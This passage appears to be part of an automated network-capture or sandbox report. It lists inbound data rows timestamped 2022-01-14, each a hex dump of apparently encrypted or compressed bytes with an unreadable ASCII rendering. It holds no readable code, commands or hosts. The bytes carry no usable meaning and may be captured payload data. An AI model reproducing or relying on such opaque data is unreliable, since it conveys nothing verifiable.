76 0c 72 88 92 37 cc e2 f7 75 6b 48 c8 ca 36 f7 c1 a2 3e d2 88 aa d9 b5 a9 fb 36 7a d6 d9 fa 0e 24 f3 82 4f 98 c7 b3 a5 ac c9 92 41 d8 d0 01 26 fd 8d 0a c4 ed 46 01 bc 2d a0 9d e1 0e 88 18 ff b5 d2 1a d4 1a 93 c7 02 Data Ascii: 5i\L<o#X%ND"zJc6)x3p$tSl+olxYEI>U's66{;m_Bf65{'D0i_ip(*D3y[-a`lA<22MXGM(=vr7ukH6>6z$OA&F-
2022-01-14 03:59:48 UTC	1401	IN	Data Raw: 80 d5 50 91 16 a4 61 c8 96 92 1c 32 ab 66 84 42 cc 40 ae e8 8c 5d 10 43 df 8d 96 f0 71 4d 55 10 3b 3f 6a 15 05 b7 8e 13 38 2f 72 04 8f c4 81 90 4e 9b 2b ea 35 a0 ec 66 ba 10 0a af 65 0c ca de d6 c4 1e 81 6a d3 b5 d7 be ac 13 4e 34 0e fd a0 42 93 56 e5 f8 75 6b 6c 0d 4b 39 c9 3a 39 11 46 04 55 14 ea d9 bf fd 39 d5 72 70 ef ed 7a c4 bf 9f 34 91 b4 f0 28 9b 25 31 9a 07 63 5a de 84 35 72 56 38 0a c7 cb 85 27 be 29 aa 80 b3 86 7b 2d e8 41 56 05 96 bf f6 8c bb 9d 40 01 e6 95 17 d0 32 ce dc 94 4b ec 4a cf 65 52 46 6d 60 72 07 d5 1a 37 0d ec bb 02 27 39 30 7e 3b c2 4c f6 1f e8 1b f1 2e dc 8d ff 0e 1e 27 ff 1e 87 09 95 59 1a 3e 5c 02 7d 34 a5 f6 fa 34 52 bb 93 e2 69 bd 76 1f f9 49 e8 d8 dc fe ba ee 6a 6f e6 7e cc 40 4e e4 b4 4a bd 54 75 d5 bf 78 d9 c5 ce 09 2f 06 Data Ascii: Pa2fB@]CqMU;?j8/rN+5fejN4BVuklK9:9FU9rpz4(%1cZ5rV8'){-AV@2KJeRFm`r7'90~;L.'Y>\}44RivIjo~@NJTux/
2022-01-14 03:59:48 UTC	1417	IN	Data Raw: ab 65 ae b4 cf e4 7c 51 ea 7d 65 55 3a 2e 19 f0 25 5b 15 da 41 ee e1 78 7b 47 b3 28 f1 68 69 9a c2 f8 e4 ff 1b 6b 45 ee d1 44 af 47 93 89 9d 60 cd 02 a2 cb cc e0 83 bb e0 4c eb cc 10 d4 25 69 c2 b2 08 ae a1 ea 07 76 ae 02 b6 3a ed 21 53 ff d2 51 78 da 14 e2 5d ca 8f c5 d8 62 03 6a 23 38 90 8f d6 e7 df e6 1b 37 74 b2 b8 26 02 76 13 d9 30 c5 ed ec c0 7a 67 8c eb b1 5b 36 e0 05 fb 0b bc fc 65 3d 96 6d 67 cc a7 34 80 36 64 f3 4b e9 a0 c6 41 23 6d c2 2e 1d 19 9b ea 45 99 d6 34 de bb 5f 23 2e c5 44 71 13 38 c1 05 5b d5 49 1d f1 96 c5 c3 31 8c 40 c5 18 41 52 39 7b 6a 7c 79 57 26 06 2d 44 59 29 05 44 b5 0d a9 1c 00 91 99 9a 5d a5 9f bd 90 29 38 b9 db 71 c5 0f 3d 99 22 85 87 a6 fc 53 9c 02 f8 7e f3 17 4c 5c 31 13 8d 92 8e b0 f2 a2 8e 4c 15 cb f5 9e 6b 83 96 47 07 Data Ascii: e\|Q}eU:.%[Ax{G(hikEDG`L%iv:!SQx]bj#87t&v0zg[6e=mg46dKA#m.E4_#.Dq8[I1@AR9{j\|yW&-DY)D])8q="S~L\1LkG
2022-01-14 03:59:48 UTC	1433	IN	Data Raw: 8f bd ed 92 40 db f3 e2 aa 04 b0 66 b7 02 22 e0 4d 6e d5 da cd 60 47 18 58 bf a9 5b c1 62 dc da 1a 48 49 19 1a ca 79 25 b0 95 48 6a 1f 57 4c 63 9b af db d2 e5 6a a9 85 1c 7b 72 4f b1 14 c6 18 90 ea c3 be 1d 2d 06 41 74 a6 e8 5d a3 a9 45 d2 e1 76 eb 84 0d 9d c8 3e 16 b0 a8 83 fb fa d5 f5 f1 fe c2 d1 11 c4 bd 62 0c 8c 9a 61 93 b1 13 49 c9 e6 07 6c 6a 70 ce 2d a7 72 9b 68 13 8d d0 ad da f9 0d 01 e8 aa 1f c1 e8 44 47 55 14 7d f7 40 0d c7 ae 88 02 95 db b9 43 a5 e4 f7 68 30 0e 68 03 3c fd 12 d1 40 e3 90 a5 85 01 39 66 4f 0e f6 b2 e5 ba f4 9a b7 44 5e 50 3a af fa 56 17 99 d3 7b 95 d3 ea 98 fc ef bc 5a e7 1c ef da a7 af ce 5d 2b ee 93 7f e2 08 df 52 06 ea 07 10 af ef ef 4f 31 a2 89 b5 03 23 d4 bc d8 e1 03 56 10 6b 2f 3d 49 7b a2 d9 c8 93 89 07 37 95 ff 53 b7 22 Data Ascii: @f"Mn`GX[bHIy%HjWLcj{rO-At]Ev>baIljp-rhDGU}@Ch0h<@9fOD^P:V{Z]+RO1#Vk/=I{7S"
2022-01-14 03:59:48 UTC	1449	IN	Data Raw: 38 48 0f 68 0c 74 eb 37 b7 8a 0c b6 c2 36 52 47 58 90 e3 1c 76 d5 09 60 70 1c 89 d0 2f 37 28 68 44 86 27 7a 98 c9 89 59 82 96 d9 96 b6 ef 8e 9b 01 f8 29 62 f1 43 77 06 09 02 dd 74 2b 5b aa 56 de af 91 ef 38 bb 42 36 b9 c7 c6 38 cf 62 2f 8a 64 7d d7 e4 e4 93 0e eb 7f 45 e4 df 3d 57 4b 69 c2 c5 6f d0 67 4b c3 2c e6 c6 db 4e a3 56 b4 46 aa c2 0d ed 08 ec c6 10 0a dd c9 b0 c0 d3 57 7b 78 d3 ff 12 40 75 39 32 e1 7d 3c d7 e7 30 c5 db da ef a6 5c 76 b4 f3 58 a7 f5 9f 1e 13 99 98 10 c2 07 09 26 34 91 3b 0c 0e 4c 1f 40 7d 6f 32 67 05 ec 92 08 8a 68 09 93 71 62 59 a6 08 c3 2a 81 11 0d 05 5f 09 bd 3d 40 de 17 97 ae 1a a5 4c 3b 8a ba b7 ba dd 94 8b b8 fd 65 b3 1d f3 b8 0b fa 94 72 48 23 65 3c 9a b6 eb d9 cc dc 3f 87 95 2c da a1 b8 98 32 fd 7a b8 a8 de 9f a0 a2 9c a3 Data Ascii: 8Hht76RGXv`p/7(hD'zY)bCwt+[V8B68b/d}E=WKiogK,NVFW{x@u92}<0\vX&4;L@}o2ghqbY*_=@L;erH#e<?,2z
2022-01-14 03:59:48 UTC	1465	IN	Data Raw: 28 45 8c 0d 60 e9 09 14 d4 8c d4 a1 76 27 98 b3 15 12 b3 81 d0 bf ce 49 6b 8c d5 16 3a d9 b0 c2 42 1f c2 8e 98 52 69 ee e1 1d f1 37 24 c3 32 c9 04 b4 02 da f7 2f 80 6b b7 e8 4f d3 25 97 bf 40 42 9e f9 8b b6 4a de 1f 0f 5a 35 38 09 b7 d2 8a aa d7 7e 27 ae c2 b4 11 2a 26 9d 84 68 7e 36 e7 fe cc fd 8a 53 96 bf 1c 8d b2 99 ab 38 5f 5e 79 61 8d 37 89 bd 09 90 e2 2c b5 8d ac 2d 17 8c 92 1b 75 99 eb f2 67 8f b4 ed 7d e4 b6 25 00 d3 95 d7 91 bc 6d e2 d6 f2 95 1a 3c 3c 73 34 a8 d9 a1 5e d7 2c 84 5d 9c 5f 45 45 a6 b8 88 f5 04 03 4f 9b 71 77 83 93 74 67 93 ee 36 09 f7 2e 07 62 ba 99 ce 78 94 67 d4 bc e7 2e 25 7a 45 cc 6f d0 4d 2d 38 63 23 45 d6 69 ec ad 63 23 22 06 14 42 04 09 61 22 fd 2d ae 5d a6 a5 2f 28 2c 1a 18 30 b0 08 bc 2d f3 f7 9f 37 44 8e 63 0e 8e 84 f6 8c Data Ascii: (E`v'Ik:BRi7$2/kO%@BJZ58~'*&h~6S8_^ya7,-ug}%m<<s4^,]_EEOqwtg6.bxg.%zEoM-8c#Eic#"Ba"-]/(,0-7Dc
2022-01-14 03:59:48 UTC	1481	IN	Data Raw: 11 5a e7 24 a5 48 8c 7e 9b 32 e4 6c 96 83 d5 2c 5b 6b e6 c9 84 fb 75 4d 76 58 d4 d4 96 93 0e 39 37 68 0f 0a c4 cf 5d 64 b2 07 30 1a 64 7a 23 a0 77 27 0b cf 72 b4 bc 06 1e 2b a2 e7 6d 4d 65 c8 94 c4 40 af 05 98 9b 1c a2 10 f9 e3 4f b2 d3 de da b8 ca 62 45 c3 75 e1 57 ea 4c d1 2e 73 2e a7 c0 b8 17 78 ea 46 27 59 30 6a 62 77 7e 22 dd 39 07 82 ed 14 a0 c5 73 e2 d8 95 ad 96 4b 2c 75 da a7 ed 39 e3 f9 3b 4c 95 26 c7 b6 07 f0 38 01 ad 89 18 bf f1 48 d3 1c 19 48 a5 3d b4 c6 65 be d2 ff 80 06 af bf 31 5e d2 d6 e4 71 bb a7 03 36 1d 4c 45 51 58 d2 63 ec aa 52 e8 47 82 e2 6e bd b7 f3 c4 4f 6c c5 7d 90 89 d0 eb 1b 92 7d 7b f7 94 64 ec f4 01 a2 8d fe a2 57 8e ec 63 c4 42 68 43 db c0 88 51 66 16 61 5c 53 9a ac 98 a9 04 68 f1 b7 bd 48 58 de 03 8b 32 95 4b 57 fe 8d 66 d4 Data Ascii: Z$H~2l,[kuMvX97h]d0dz#w'r+mMe@ObEuWL.s.xF'Y0jbw~"9sK,u9;L&8HH=e1^q6LEQXcRGnOl}}{dWcBhCQfa\ShHX2KWf
2022-01-14 03:59:48 UTC	1497	IN	Data Raw: a4 96 92 ee 62 cc cd c6 a2 ab 02 5d f8 9f 21 19 70 07 16 03 2c 91 85 ee b1 15 e3 a1 76 1f 09 3f dc 48 f7 5f 1b 78 1a c6 8c 45 03 c9 00 a5 75 d0 a4 29 eb 92 8f bc 89 0f 00 92 03 db 35 aa a2 fa a0 70 f0 af 5b ee 57 a2 22 ab 2b 78 04 c2 ff ac a7 0e e5 32 08 d1 07 da 52 0c 90 fd 7b 2e 08 4b 86 8e be f8 b8 64 45 df 12 f8 60 3b 56 3d 8a 85 bc 8e e8 9c 52 01 3c ef 10 e7 fb d0 68 45 64 3c 6c 65 c5 aa 57 77 d6 6d 50 0e 0b e1 10 99 e9 d8 76 1b 8c e0 b3 ae e8 b1 5a 2e ec e4 86 34 5b 76 34 75 7d ac 62 d7 f7 f0 5d b8 eb a3 da 32 7d 69 73 1d a7 38 e0 d1 da 6f 4d 02 b9 60 24 eb c6 de ad 6c 53 7d e3 cb 91 4b f2 0c 41 38 b1 78 5c fe 95 6b b0 f4 66 2d d4 9a 12 4a 6d 77 35 96 2d 0a 7b 86 bc 35 12 79 29 5a 01 c4 cd 52 5f a2 0a 58 ed 0f 15 16 84 61 72 5a 9c 5a 27 11 4a 71 fd Data Ascii: b]!p,v?H_xEu)5p[W"+x2R{.KdE`;V=R<hEd<leWwmPvZ.4[v4u}b]2}is8oM`$lS}KA8x\kf-Jmw5-{5y)ZR_XarZZ'Jq
2022-01-14 03:59:48 UTC	1513	IN	Data Raw: 27 be 58 a2 79 60 5f 31 79 b6 4f 50 f5 6a 54 77 2c 76 62 34 8e 51 0d fb 54 42 48 bc 12 6a 24 5b d5 d6 e8 89 65 aa 3a be 71 01 6b 28 f8 aa cc 2d 0f d1 ab 55 13 0a 43 7e e9 7b 22 6b 8c cb 80 12 47 b4 da 7f 06 a8 31 0a e5 5e d3 dc d3 d1 cf f9 5b 84 50 9b 7f 2c 3b 90 5f 82 1a 9c e6 25 95 a5 a9 20 58 26 46 db 5f e7 bb 9c eb 14 64 dc 0b 94 1f 44 db 10 86 3f 6f 91 2f a7 bf 30 74 cc a5 fb 48 a6 fe 64 d4 51 e9 94 67 a2 0c 58 a8 98 64 be 7b 48 ee b0 02 03 1f e0 24 42 d5 58 e7 06 ec 66 a0 8e 09 23 a4 11 6b c6 08 3d 47 54 ee 02 1a 23 bf 4c c3 a8 08 9b 37 fe 60 79 0f 0a 6d b5 d4 eb d2 e7 65 08 9e 0b 00 c4 88 e7 7d 64 15 b0 f9 a3 e5 42 49 93 eb f0 8b 1a b4 91 75 05 bc 78 2b ea 60 31 9b a8 e7 f4 ac 9c 8d 3d 51 5b 2d f9 40 0e ca b9 c6 e1 17 e3 6c 39 4e 1f 9f 3c 3a 0c 7c Data Ascii: 'Xy`_1yOPjTw,vb4QTBHj$[e:qk(-UC~{"kG1^[P,;_% X&F_dD?o/0tHdQgXd{H$BXf#k=GT#L7`yme}dBIux+`1=Q[-@l9N<:\|
2022-01-14 03:59:48 UTC	1529	IN	Data Raw: c1 20 06 a0 0a 72 71 cb 36 83 e2 2c 2c 17 b3 f0 2c 4a d6 88 5a da af 28 de 0c 5d 66 52 d6 05 fe ba 1a 48 c2 cd 6a ef eb bf 74 34 fe a5 9a 5e a8 c3 49 43 a6 04 77 9e e9 0d 61 51 fb fc 95 72 9a ff a0 1c d1 6b 21 b4 b0 fb 09 91 e8 c6 82 7c 82 5d b7 47 2b e8 3c 01 5f 73 15 f8 24 66 d2 1e 73 46 31 38 e1 d8 d2 4b db 8a 9e 35 54 a2 78 5a e3 dc 20 e4 3e 84 c4 c5 68 f9 08 6a 23 72 13 d2 27 b0 e1 b3 26 9f e4 7a be 0c 6d 86 a3 9e f7 c3 48 75 9e 1f ef dd 85 12 57 aa 8c 1a b9 7c 66 d3 6c 2e 9a d2 91 4a 82 9f 45 ca 6d 08 80 c0 8f b5 3f e1 79 e0 d9 03 ee 3e f1 62 47 45 89 53 81 20 73 d5 94 3f 05 4f 6a dc 32 9a b6 05 66 2b ea a6 88 b4 2e 38 31 71 46 84 10 72 50 5c 35 e0 30 30 09 89 8a 40 22 20 de 58 e3 1a 7f 1f 1c 54 84 30 cf 26 f8 90 d9 1f 87 40 ef a1 a6 f5 1d 12 e6 07 Data Ascii: rq6,,,JZ(]fRHjt4^ICwaQrk!\|]G+<_s$fsF18K5TxZ >hj#r'&zmHuW\|fl.JEm?y>bGES s?Oj2f+.81qFrP\500@" XT0&@
2022-01-14 03:59:48 UTC	1545	IN	Data Raw: 1d 8f b3 e6 f1 07 ed 93 2f 18 93 2e c0 ed 4c 3e e3 e1 6d af c0 c3 ff 48 58 55 52 e4 70 f9 bf 58 28 56 56 04 95 6a fb 57 96 73 bc 32 d7 a3 58 f4 b3 9c bb 8d 5e 09 71 17 12 ce aa 2c ba fd 3e a9 87 8a 52 4d 54 96 ed 2a 90 ab ec ff 79 1d 21 f9 7d 3b 34 28 a8 35 b1 d9 a4 da 3c f9 6e 4a 1e 6c fb 34 bc 74 0d 9f 57 1c b6 73 74 1f 3a c8 5e e6 b3 aa 3d 48 c4 12 59 98 6e 87 66 26 39 ea f2 8b 8a d9 72 fd 30 c1 ff 8b ed fd c5 10 4b ed f0 58 98 c9 5d 4c 64 29 04 5d 82 f3 ff 80 d0 f4 b6 36 98 b0 c1 df 6e fe 48 44 e2 06 c4 d0 ba c5 6f 8a ca fd cc 11 e3 f3 63 1f 12 a2 a5 d1 ec 64 e9 bb 59 df a4 41 f3 38 63 f1 5e 56 9d 9f c3 32 5f a8 74 5e b0 e7 16 02 02 02 a8 a6 71 bb 8a 2f 57 2e dc a3 e5 06 d3 a6 2e 57 31 6b d8 77 45 91 3e 55 96 96 a8 86 e7 63 40 2f ec 3a 6f f1 7a e2 8a Data Ascii: /.L>mHXURpX(VVjWs2X^q,>RMT*y!};4(5<nJl4tWst:^=HYnf&9r0KX]Ld)]6nHDocdYA8c^V2_t^q/W..W1kwE>Uc@/:oz
2022-01-14 03:59:48 UTC	1561	IN	Data Raw: 9c 86 e2 6a b3 ba e6 3d 72 3d 63 62 ff 6c f5 57 86 59 a4 d0 6c 9b ad e9 52 3a 0b 0d 59 cc bd d6 45 27 2b 4b dd 5f ce 5a 45 ea 97 03 c7 5b 89 e3 de ca 62 db 96 b3 8c 3a f6 08 36 a4 11 5b 84 46 11 99 9d ee 4a 2e e6 d9 79 36 96 c6 8b b3 da 2a 02 66 6f 9e 6e a4 f7 f4 00 d7 5c ed e3 04 94 52 46 02 e9 b0 6f 2e 49 92 8e 6b b2 b9 42 9a 2d b8 96 65 5a 51 5f 0d 8c 94 05 d6 27 77 30 43 4d f3 51 f4 c5 e9 39 11 90 5e 72 cd e5 f5 49 95 9a c5 18 d7 93 ab a0 ce cf d0 71 d5 12 82 5a b3 52 de 43 62 bf 78 8e cb 74 b1 3c 08 f4 34 2a 6c 94 45 d9 6d d8 95 51 cc 0b fc e9 78 62 01 4c 9d cf 1c 7c e3 dd 74 cc 6b 76 37 4d 4c 1c 3b 90 8f 84 e1 d2 ab 8f 81 fa 19 52 8f 2f 1a d8 36 cb af fa cd 96 20 99 3f fc f1 fa 1c e8 a1 51 b5 4e bc 3f 36 9b 91 4d 1a b0 3d 96 b2 9a 26 fa a5 19 8d a7 Data Ascii: j=r=cblWYlR:YE'+K_ZE[b:6[FJ.y6fon\RFo.IkB-eZQ_'w0CMQ9^rIqZRCbxt<4lEmQxbL\|tkv7ML;R/6 ?QN?6M=&
2022-01-14 03:59:48 UTC	1577	IN	Data Raw: 0a f9 15 ac f0 8c fb 16 a0 0a fc 4c 5b 8e 12 53 e0 d7 48 b6 68 85 15 67 de 7b 52 79 18 e9 cd ca 4e dc 85 a7 2c 6c 01 af 15 0a 43 8c a6 38 23 b0 53 80 1f 8e 2a 55 40 de cf 37 ba 60 53 b6 26 2b c3 ef 9e 86 86 d8 70 4b 70 72 ac ec 30 99 08 36 c9 fc 5d a2 20 76 40 da d9 b2 9d 61 f6 65 39 4a 22 d4 f0 f0 67 89 24 db 2a 39 da 21 e4 fb 5e 60 74 d1 06 6c fd 7a 25 f9 48 7c 90 50 64 6b e5 0a 70 0d 87 79 73 68 43 b8 0e c2 2f 1e 66 d4 7b db 00 1b 50 79 33 6f 35 74 d1 c5 d7 24 86 03 11 04 8d aa b7 dc fa 4e cb 71 a6 b5 d1 f0 34 57 b5 18 73 ad e4 38 96 8b 11 93 5e d0 f2 d5 6a 2c d3 98 ce 18 86 e3 ac 8f f1 eb af 20 6b 04 aa be 37 7b 03 de b9 13 44 ad b0 68 01 6d 8d bf 68 d5 6a 06 2e e8 77 06 52 75 17 88 cd 53 4b 18 8b 99 b1 43 27 63 a7 f8 56 6c 85 75 be f4 e4 0e ca 55 c1 Data Ascii: L[SHhg{RyN,lC8#SU@7`S&+pKpr06] v@ae9J"g$9!^`tlz%H\|PdkpyshC/f{Py3o5t$Nq4Ws8^j, k7{Dhmhj.wRuSKC'cVluU
2022-01-14 03:59:48 UTC	1593	IN	Data Raw: 25 cf 22 01 35 f7 6f 8e fe 92 4f f7 6e b4 fe 62 da 89 f3 b0 79 0d 27 d4 49 a6 e3 45 6b 20 e9 1e fc 7e d3 ff a0 a3 5a c7 d7 b5 2d 32 d9 b0 7f 37 ae b4 51 6a 19 1a aa 30 59 cb e8 fd 9a 9e 00 8a f1 63 08 84 a9 f1 53 d1 a7 77 4f 80 7e ae 8a 13 87 c1 a0 a2 a1 a1 62 40 87 d9 31 00 1b ba b7 3a 16 bd 0a 0a 16 5d 97 16 3e 8f 07 bf ed 3d bf 4f 4a 04 a4 84 bf 42 b2 87 d9 91 19 99 4e 4f d3 e5 a5 e5 4e 36 b1 50 04 82 0e 08 99 35 12 ca 8b 3e 16 f3 82 7e 62 8e 08 61 48 df 61 99 c7 15 06 0f 82 8e 82 d0 92 9f e3 3d 99 4f b3 ff 64 8a ab 62 cb 97 5d a3 97 38 03 8b a7 95 23 3f c2 26 3c 57 36 3a 9c 0d e0 9c 87 52 ed 80 19 b9 e9 1b 63 ed 41 90 f0 db 75 67 bc 28 d2 f1 f0 a5 7c aa bc b2 88 88 59 75 11 8d 21 65 2f 24 d0 f7 d6 01 d8 da e9 2b 5a bd 02 47 48 e4 98 ca 35 58 f8 2a 27 Data Ascii: %"5oOnby'IEk ~Z-27Qj0YcSwO~b@1:]>=OJBNON6P5>~baHa=Odb]8#?&<W6:RcAug(\|Yu!e/$+ZGH5X*'
2022-01-14 03:59:48 UTC	1609	IN	Data Raw: 69 f5 ce 0d 0a e3 b7 5c cf b5 c7 f6 3c 06 a0 7c ec 69 1a 0a 9f e0 7c a3 c7 71 9f 59 dd 33 35 f8 6f 8b 12 1a c3 3a dd 15 dd f8 2d 3f 79 6a 22 ad 13 6d 00 9e 3b e1 62 e5 85 49 24 35 3f 40 f6 a8 f7 1c 93 ca 71 48 8c 9c dd 53 11 a3 04 81 be 5a 37 2d 89 c8 50 7d 5a 2f 65 8d f9 a7 cb a0 7b 47 1b 94 b1 59 39 da 11 f4 c1 cc e6 60 d2 e4 a1 4b 5f 58 69 a8 01 9b 95 56 8a 05 bc 97 83 16 28 e5 21 62 27 38 ce 9b 7e 7b c2 9a 1d 16 71 6b 76 b8 66 38 87 2a 3c 00 72 66 e9 1d 56 83 21 19 af 0f a2 d0 c9 0a 62 dd e6 51 a3 ca 40 aa 8b 67 b9 a2 3e 3c cc 3e 2e fe 39 11 13 99 76 91 90 4b b8 d6 13 36 a7 0b d0 a7 48 c9 9b 8a c9 6c 50 e1 20 2f 1e 0a 3f 3a 86 e3 a8 2e 86 a4 69 b1 7e cb 31 a6 c0 f5 bb 63 0e 11 36 4e 02 31 6d 97 21 37 01 12 81 ff 2c 1e d7 78 97 39 74 c4 45 d8 d8 b9 ac Data Ascii: i\<\|i\|qY35o:-?yj"m;bI$5?@qHSZ7-P}Z/e{GY9`K_XiV(!b'8~{qkvf8*<rfV!bQ@g><>.9vK6HlP /?:.i~1c6N1m!7,x9tE
2022-01-14 03:59:48 UTC	1625	IN	Data Raw: 8d 3b 5a 3f 43 aa 9e 23 d4 c8 a3 0d 44 2b f9 75 d4 55 a5 15 e1 13 4d c6 3f 8e f5 5c f7 83 7b a3 eb ea 12 b8 d8 d5 12 a9 43 68 d6 bd 85 a9 7d 7e e6 21 c3 32 1b f8 d9 30 fe 4e c4 e2 f1 2f a1 e1 99 b0 50 00 1c 7f 17 a6 16 1e d2 b7 17 e3 aa ec 13 64 c4 22 f7 30 89 b8 7b 36 d6 b0 2a 2f e8 1c a4 25 e8 43 2e 2f ba 18 c9 1b 84 7e 96 4a 41 61 6e 19 17 b0 e7 cd 28 ab 4e 74 af 7a ae 55 37 03 76 c1 90 6b 8a 3f 77 d0 a1 2c d4 18 af 8c 3b 3d c7 b5 f4 bd 54 bb 01 9a 89 e3 1d 80 17 5c 73 9d 4a 43 bc 34 6f 3a b5 ca 5d 14 f5 40 97 d0 e7 9f f7 94 0a 82 35 fa 8b df 47 82 82 94 54 cf 4e a1 44 e6 2d 0b b7 9f d3 98 d2 1c 64 9e 2c e6 7d eb fd e9 ca eb a3 04 a4 61 36 8d 50 65 12 b4 13 0f 8c 88 dc f5 87 82 c3 ac db 47 33 fe f6 0b 59 01 df 94 8c 33 c7 50 65 4c bb 43 62 0e 2f c4 ef Data Ascii: ;Z?C#D+uUM?\{Ch}~!20N/Pd"0{6*/%C./~JAan(NtzU7vk?w,;=T\sJC4o:]@5GTND-d,}a6PeG3Y3PeLCb/
2022-01-14 03:59:48 UTC	1641	IN	Data Raw: 01 f5 c4 2f a9 0b 7d 62 13 c7 9b ae 22 f1 c4 aa fe c7 39 cb 3d 81 f2 54 60 a5 5a 85 cd 6c 20 7c 51 0c 08 95 02 1d fd 63 f5 e1 1f bf e7 d9 56 42 49 8b 64 d8 5b c2 52 43 dc 58 95 e1 12 7d 88 9c d1 37 9f 8b 66 bf c7 5c 65 5d 8e 78 47 bf 31 d9 55 46 b8 13 80 24 71 c8 95 e9 4b 5c 39 7b 18 3b 32 82 cd 90 a7 71 bc 22 de 86 1d 0d 78 74 ba 4e 8b 1b a2 36 82 58 d2 60 0c 86 7b 4e f5 73 d4 a9 99 28 9d 42 3a 35 a0 45 b5 0e 50 ac 46 8e 37 70 94 af f9 0d ba 70 5d 39 08 a3 a0 2d 71 ff 2c a7 23 04 56 80 ee 7d 90 c1 ab b6 1c c9 6a 64 b1 14 91 d4 fe 17 f9 e3 b2 c5 10 50 bc 2e 47 40 21 f7 19 3d ed fe d8 59 ae f0 ab e8 ab c9 ec ae e1 29 f8 4a 9a 18 87 b7 9b f1 d5 36 65 4b 4e e3 41 f6 5d 79 51 bc 6e 9e a1 ce f8 d8 0b 77 4b a3 bc 3e 18 71 be 34 63 5a eb db 74 43 6b 78 21 dc 97 Data Ascii: /}b"9=T`Zl \|QcVBId[RCX}7f\e]xG1UF$qK\9{;2q"xtN6X`{Ns(B:5EPF7pp]9-q,#V}jdP.G@!=Y)J6eKNA]yQnwK>q4cZtCkx!
2022-01-14 03:59:48 UTC	1657	IN	Data Raw: 48 0b b6 ed c0 b9 a3 df fa 38 a3 fc ec 4e a7 8d 8d b4 ac b2 b7 be 60 9d a6 64 0a f3 0c 47 dd f5 d5 d2 ea 52 ad 16 d9 c4 65 e2 77 25 a2 65 e7 e5 46 bf 6c 94 e2 4b c8 04 ed cd a4 36 73 81 7f d7 ec b4 5d 04 2d 81 50 a0 b9 af d9 30 66 76 49 37 2e 5e 00 91 57 67 29 48 bb d8 c6 c1 c2 6c 0e 82 6a 92 8b 74 5e 2d a5 c6 56 b9 f9 1e b5 d0 f1 12 97 3c 2b 2a 06 c5 61 12 50 f9 e6 24 3c d2 ec 52 f3 bb 45 66 5b 1e e1 ca 7f a5 df b3 9e 53 5e 8a d3 25 3b ba 0a a0 10 ee ef ad c3 e7 43 6f 90 ca a8 23 4c b1 9f be 21 68 b3 84 32 17 8c 74 6e 82 c9 c9 75 ee 98 28 03 a4 71 01 01 6b bd 0c 65 8f 82 0c 3a 32 b3 33 96 39 1f 07 42 28 ed 00 19 cc 52 44 47 fa e7 ca 68 ab 0c 0e 2c 68 55 d5 c9 b8 75 c0 c3 ef 58 7e 3c c4 17 eb 8e 01 e4 03 97 fb 10 aa cc 7d a0 60 8e de 34 e2 e0 2f be 0f fb Data Ascii: H8N`dGRew%eFlK6s]-P0fvI7.^Wg)Hljt^-V<+*aP$<REf[S^%;Co#L!h2tnu(qke:239B(RDGh,hUuX~<}`4/
2022-01-14 03:59:48 UTC	1673	IN	Data Raw: 2f 63 0e c0 2d 6d 23 60 1f 42 12 a0 70 22 3e 6a 6e e5 d5 e9 40 97 d8 47 07 05 80 69 d4 94 46 1a 34 88 9e 24 86 ee e8 7a 06 06 37 8e 34 da 15 98 57 f8 54 dc 8a a1 da b9 c7 f2 29 b1 9d 1f 1b 0e dd 5a 69 f2 d1 0c 95 f0 4c 41 39 ce f0 a9 ba ed f9 ed db 24 c1 d0 b0 21 2b 8c 80 bb a0 21 b6 19 e7 4d 2a 2f 84 be f9 f3 54 b4 f6 b7 11 82 26 40 c8 70 fc 78 c2 27 96 dd 2f 84 39 9d 27 ad 45 f9 d9 44 95 c6 1e eb 39 69 ec 1a 4c 54 7c 2f b9 3c e8 99 2c f5 b1 35 78 f9 2f e4 df 1d 0f ab 1e 22 95 9a 9d 43 f4 4d d3 5b b9 f6 f8 f9 6b 8a f9 04 39 45 4a f1 5a 3b c3 96 16 d9 fd bd a1 e8 8b 98 c0 ad 60 be 54 94 e7 f7 f4 da cc 4c a5 f3 40 da 95 32 2b 83 9f 24 68 cf 0d 53 62 6e 55 a6 6b bd b8 38 23 a3 6e 82 c8 f7 2d 3c e7 8c ac ae a8 e5 46 bb 23 a3 ab 9c b3 74 37 51 00 45 f6 95 d1 Data Ascii: /c-m#`Bp">jn@GiF4$z74WT)ZiLA9$!+!M*/T&@px'/9'ED9iLT\|/<,5x/"CM[k9EJZ;`TL@2+$hSbnUk8#n-<F#t7QE
2022-01-14 03:59:48 UTC	1689	IN	Data Raw: 19 cd a6 cd 24 4f 0e 25 23 bd 09 f7 fa e7 20 64 93 03 1c cf dd a5 6c 19 54 33 8a 18 56 90 90 68 40 87 c9 84 87 cc ba 8f aa 77 b3 31 1c d4 7b 1e af 5b 5b e6 9a 3c 32 8d fe 61 e0 a9 a9 00 48 32 ec 39 90 5b 9e 2a 8a 93 9d 83 42 52 de 50 f3 2b 09 1f ef 1a f6 c5 d5 35 f6 dc 7a 62 ab 01 22 95 66 cf de fb c1 a2 d9 b8 f1 2e c0 be 30 82 6a 1a 98 11 fa dd 9c d1 70 2f 06 0a 1d 40 1e 88 3f 07 7d e5 e9 97 5e aa 93 de 43 06 8d 47 73 19 36 84 1c ad ba b9 99 20 95 33 73 af 66 8f ee 53 84 a8 77 43 05 e2 4b 15 11 ec c1 fb b0 25 ce 2e 3f 01 aa c0 d4 42 cd 9b 1c cd 42 39 8b bb 50 5f a5 c7 9a 2e b3 44 db 6f b5 d6 f8 df 47 75 71 5a 43 d7 06 fe d6 39 b4 22 78 69 82 37 60 08 bf 32 b3 10 ce 8f fe 18 1a 6b 72 6a 27 93 a4 9c fc 63 2d bf 0b 63 7a a6 f5 f3 2c 69 14 3f 5c d9 cd 6d 9e Data Ascii: $O%# dlT3Vh@w1{[[<2aH29[*BRP+5zb"f.0jp/@?}^CGs6 3sfSwCK%.?BB9P_.DoGuqZC9"xi7`2krj'c-cz,i?\m
